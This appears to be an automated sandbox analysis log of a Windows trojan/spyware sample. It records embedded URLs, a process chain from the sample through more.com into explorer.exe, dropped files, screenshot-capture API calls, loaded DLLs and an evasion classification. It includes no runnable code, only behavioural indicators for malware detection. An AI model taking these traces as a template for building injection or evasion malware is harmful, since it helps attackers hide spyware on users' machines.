Source: pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: pTvHtQDXio.exe	String found in binary or memory: http://vovsoft.com
Source: pTvHtQDXio.exe	String found in binary or memory: http://vovsoft.com/
Source: pTvHtQDXio.exe	String found in binary or memory: http://vovsoft.com/blog/how-to-activate-using-license-key/openU
Source: pTvHtQDXio.exe	String found in binary or memory: http://vovsoft.com/blog/how-to-uninstall-vovsoft-software/openU
Source: pTvHtQDXio.exe	String found in binary or memory: http://vovsoft.com/help/
Source: pTvHtQDXio.exe	String found in binary or memory: http://vovsoft.com/openU
Source: pTvHtQDXio.exe	String found in binary or memory: http://vovsoft.comopenS
Source: pTvHtQDXio.exe	String found in binary or memory: http://vovsoft.comopenU
Source: pTvHtQDXio.exe	String found in binary or memory: http://www.aiim.org/pdfa/ns/id/
Source: pTvHtQDXio.exe	String found in binary or memory: http://www.color.org
Source: pTvHtQDXio.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: pTvHtQDXio.exe	String found in binary or memory: http://www.indyproject.org/
Source: pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004DA1000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.00000000050D4000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.00000000052BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: pTvHtQDXio.exe	String found in binary or memory: https://vovsoft.com/blog/credits-and-acknowledgements/open
Source: pTvHtQDXio.exe	String found in binary or memory: https://vovsoft.com/php/ocr_download.php?lang=
Source: pTvHtQDXio.exe	String found in binary or memory: https://vovsoft.com/translation/
Source: pTvHtQDXio.exe	String found in binary or memory: https://vovsoft.com/translation/openU
Source: pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: pTvHtQDXio.exe	String found in binary or memory: https://www.google.com/search?q=openSV

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 10_2_032061F0 Sleep,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegQueryInfoKeyW,RegEnumValueA,RegCloseKey,GdiplusStartup,GetDC,RegGetValueA,RegGetValueA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,RegGetValueA,GetSystemMetrics,GetSystemMetrics,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GdipCreateBitmapFromHBITMAP,GdipGetImageEncodersSize,GdipGetImageEncoders,GdipSaveImageToFile,SelectObject,DeleteObject,DeleteObject,DeleteObject,ReleaseDC,GdipDisposeImage,GdiplusShutdown,GetUserNameA,LookupAccountNameA,GetSidIdentifierAuthority,GetSidSubAuthorityCount,GetSidSubAuthority,GetSidSubAuthority,

10_2_032061F0

Source: C:\Users\user\Desktop\pTvHtQDXio.exe

Code function: 0_2_0076A6D5 NtQuerySystemInformation,

0_2_0076A6D5

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_032061F0	10_2_032061F0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_0320B700	10_2_0320B700
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_03244347	10_2_03244347
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_032460F4	10_2_032460F4
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_0323C9DD	10_2_0323C9DD
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_03232F20	10_2_03232F20
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_03204EF0	10_2_03204EF0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_0323D169	10_2_0323D169
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_032051A0	10_2_032051A0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_0322B7C0	10_2_0322B7C0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_03205450	10_2_03205450
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_03241BD7	10_2_03241BD7
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_0322F9DB	10_2_0322F9DB
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_03245FD4	10_2_03245FD4

Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 0322A870 appears 56 times
Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 032061F0 appears 38 times
Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 03223340 appears 60 times
Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 0322A021 appears 60 times
Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 03224250 appears 136 times

Source: C:\Users\user\AppData\Roaming\ancar\comet.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7580 -s 640

Source: pTvHtQDXio.exe

Static PE information: invalid certificate

Source: pTvHtQDXio.exe

Static PE information: Number of sections : 11 > 10

Source: pTvHtQDXio.exe, 00000000.00000002.1448232703.0000000002B38000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs pTvHtQDXio.exe
Source: pTvHtQDXio.exe, 00000000.00000002.1453192360.0000000003A2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs pTvHtQDXio.exe
Source: pTvHtQDXio.exe, 00000000.00000002.1453192360.0000000003A2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs pTvHtQDXio.exe
Source: pTvHtQDXio.exe, 00000000.00000002.1453192360.0000000003A2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \OriginalFileName vs pTvHtQDXio.exe
Source: pTvHtQDXio.exe, 00000000.00000002.1463469502.000000000548D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs pTvHtQDXio.exe
Source: pTvHtQDXio.exe, 00000000.00000000.1435452182.0000000000C11000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameCitizenMP.exe* vs pTvHtQDXio.exe
Source: pTvHtQDXio.exe, 00000000.00000000.1434379917.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename vs pTvHtQDXio.exe
Source: pTvHtQDXio.exe, 00000000.00000000.1434379917.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs pTvHtQDXio.exe
Source: pTvHtQDXio.exe, 00000000.00000000.1434379917.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: \OriginalFileName vs pTvHtQDXio.exe
Source: pTvHtQDXio.exe, 00000000.00000002.1460844166.0000000004C76000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs pTvHtQDXio.exe
Source: pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamezip.exe( vs pTvHtQDXio.exe
Source: pTvHtQDXio.exe	Binary or memory string: OriginalFilename vs pTvHtQDXio.exe
Source: pTvHtQDXio.exe	Binary or memory string: OriginalFileName vs pTvHtQDXio.exe
Source: pTvHtQDXio.exe	Binary or memory string: \OriginalFileName vs pTvHtQDXio.exe
Source: pTvHtQDXio.exe	Binary or memory string: OriginalFilenameCitizenMP.exe* vs pTvHtQDXio.exe

Source: pTvHtQDXio.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/7@0/1

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 10_2_0320E8D0 GetUserNameA,CoInitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,

10_2_0320E8D0

Source: C:\Windows\SysWOW64\more.com

File created: C:\Users\user\AppData\Roaming\ancar

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7580
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8140:120:WilError_03
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\20c6f4a26c13cb3c260c246fe6c1910d

Source: C:\Users\user\Desktop\pTvHtQDXio.exe

File created: C:\Users\user\AppData\Local\Temp\7964f6ae

Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe			Jump to behavior

Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\pTvHtQDXio.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: pTvHtQDXio.exe

ReversingLabs: Detection: 50%

Source: explorer.exe	String found in binary or memory: " /add
Source: explorer.exe	String found in binary or memory: " /add /y
Source: pTvHtQDXio.exe	String found in binary or memory: NATS-SEFI-ADD
Source: pTvHtQDXio.exe	String found in binary or memory: NATS-DANO-ADD
Source: pTvHtQDXio.exe	String found in binary or memory: JIS_C6229-1984-b-add
Source: pTvHtQDXio.exe	String found in binary or memory: jp-ocr-b-add
Source: pTvHtQDXio.exe	String found in binary or memory: JIS_C6229-1984-hand-add
Source: pTvHtQDXio.exe	String found in binary or memory: jp-ocr-hand-add
Source: pTvHtQDXio.exe	String found in binary or memory: ISO_6937-2-add
Source: pTvHtQDXio.exe	String found in binary or memory: /Add: Unexpected [%] object property in an array
Source: pTvHtQDXio.exe	String found in binary or memory: ;application/vnd.adobe.air-application-installer-package+zip
Source: pTvHtQDXio.exe	String found in binary or memory: application/vnd.groove-help
Source: pTvHtQDXio.exe	String found in binary or memory: "application/x-install-instructions

Source: C:\Users\user\Desktop\pTvHtQDXio.exe

File read: C:\Users\user\Desktop\pTvHtQDXio.exe

Source: unknown	Process created: C:\Users\user\Desktop\pTvHtQDXio.exe "C:\Users\user\Desktop\pTvHtQDXio.exe"
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\ancar\comet.exe C:\Users\user\AppData\Roaming\ancar\comet.exe
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7580 -s 640
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior

Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Windows\SysWOW64\more.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5CE34C0D-0DC9-4C1F-897C-DAA1B78CEE7C}\InProcServer32

Found hidden mapped module (file has been removed from disk)

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: pTvHtQDXio.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: pTvHtQDXio.exe

Static file information: File size 14014536 > 1048576

Source: pTvHtQDXio.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x556000
Source: pTvHtQDXio.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x1fa400

Source: pTvHtQDXio.exe

Static PE information: More than 200 imports for user32.dll

Source: pTvHtQDXio.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: pTvHtQDXio.exe, 00000000.00000002.1463469502.0000000005360000.00000004.00000800.00020000.00000000.sdmp, pTvHtQDXio.exe, 00000000.00000002.1460844166.0000000004B53000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576734242.0000000005200000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000002.00000002.1576008182.0000000004D71000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894571477.0000000004F5E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3895341723.00000000053E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: pTvHtQDXio.exe, 00000000.00000002.1463469502.0000000005360000.00000004.00000800.00020000.00000000.sdmp, pTvHtQDXio.exe, 00000000.00000002.1460844166.0000000004B53000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576734242.0000000005200000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000002.00000002.1576008182.0000000004D71000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894571477.0000000004F5E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3895341723.00000000053E0000.00000004.00001000.00020000.00000000.sdmp

Source: pTvHtQDXio.exe	Static PE information: section name: .didata
Source: nlhiojbr.2.dr	Static PE information: section name: hcj

Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019C917 push ds; retf	6_2_0019C941
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019CA08 pushfd ; retf	6_2_0019CA09
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019CB88 push eax; retf	6_2_0019CB89
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019D504 pushad ; ret	6_2_0019D602
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019CA58 push esp; retf	6_2_0019CA71
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019CB5C pushfd ; retf	6_2_0019CB5D
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019C850 push 1C00D749h; retf	6_2_0019C90D
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019C948 pushfd ; retf	6_2_0019C979
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019C948 pushfd ; retf	6_2_0019C9BD
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019CBC8 pushfd ; retf	6_2_0019CBC9
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019CB4C pushfd ; retf	6_2_0019CB4D
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019CA78 push esp; retf	6_2_0019CA71
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019C97B pushfd ; retf	6_2_0019C989
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019C87C push 1C00D749h; retf	6_2_0019C90D
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019C9F0 push esp; retf	6_2_0019CA05
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019C9E8 push esp; retf 0019h	6_2_0019C9E9
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Code function: 6_2_0019CE6E pushad ; retf	6_2_0019CF13
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_0322A2C1 push ecx; ret	10_2_0322A2D4
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_0322C6F7 push ds; ret	10_2_0322C712
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_032175DF pushad ; iretd	10_2_032175E0

Source: C:\Windows\SysWOW64\more.com

File created: C:\Users\user\AppData\Local\Temp\nlhiojbr

Jump to dropped file

Source: C:\Windows\SysWOW64\more.com

File created: C:\Users\user\AppData\Local\Temp\nlhiojbr

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\SysWOW64\more.com

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\NLHIOJBR

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 10_2_032293ED GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

10_2_032293ED

Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ancar\comet.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
